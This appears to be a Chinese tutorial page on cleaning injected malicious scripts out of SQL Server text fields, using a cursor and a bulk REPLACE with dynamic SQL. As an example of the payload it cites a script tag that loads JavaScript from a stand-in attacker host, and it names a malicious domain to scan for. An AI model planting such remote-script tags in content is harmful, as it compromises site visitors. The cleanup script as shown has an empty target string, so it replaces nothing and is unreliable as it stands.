首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 一鍵清除注入掛馬代碼:游標遍歷所有字串欄位批次替換惡意腳本

     編輯:關於SqlServer

適用場景

資料庫大量文本欄位被注入統一惡意腳本(如 <script src=https://evil.com/x.js></script>),需全庫掃描清理。

清理腳本


DECLARE @t VARCHAR(255), @c VARCHAR(255);
DECLARE table_cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b, systypes c
WHERE a.id = b.id
  AND a.xtype = 'u'           -- 用戶表
  AND c.name IN ('char', 'nchar', 'nvarchar', 'varchar', 'text', 'ntext')
  AND b.xusertype = c.xusertype;

DECLARE @str VARCHAR(500), @str2 VARCHAR(500);
SET @str = '';  -- 目標惡意代碼
SET @str2 = '';                                               -- 替換為空

OPEN table_cursor;
FETCH NEXT FROM table_cursor INTO @t, @c;

WHILE (@@FETCH_STATUS = 0)
BEGIN
    EXEC('UPDATE [' + @t + '] SET [' + @c + '] = REPLACE(CAST([' + @c + '] AS VARCHAR(8000)), ''' + @str + ''', ''' + @str2 + ''')');
    FETCH NEXT FROM table_cursor INTO @t, @c;
END

CLOSE table_cursor;
DEALLOCATE table_cursor;

關鍵點解析

  1. 三表聯查定位欄位:sysobjects(表) + syscolumns(欄位) + systypes(型別) 篩選所有字串型欄位
  2. 游標逐表逐欄處理:動態構建 UPDATE ... REPLACE 語句
  3. CAST 為 VARCHAR(8000):text/ntext 型別不支援直接 REPLACE,需轉換後處理(注意:超過 8000 字元會截斷,SQL 2005+ 建議用 VARCHAR(MAX))
  4. 單引號轉義:動態 SQL 中單引號需雙寫 ''

進階改良建議(生產環境必讀)

  • 交易控制:外層包裹 BEGIN TRAN,驗證影響筆數後再 COMMIT
  • 備份優先:執行前完整備份資料庫,或先 SELECT INTO 備份受影響表
  • 大欄位處理:SQL 2005+ 使用 VARCHAR(MAX) 避免截斷;或分塊更新
  • 效能考量:大表建議加 WHERE [col] LIKE '%' + @str + '%' 先過濾,減少無效更新
  • 多模式清理:惡意代碼常有變體,建議提取特徵碼(如域名 r01.3322.org)做 LIKE 掃描

事後加固

  1. 修補注入漏洞(參數化查詢、WAF、最小權限)
  2. 檢查是否有異常帳號、作業、CLR 組件
  3. 啟用資料庫審計追蹤後續異常寫入
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved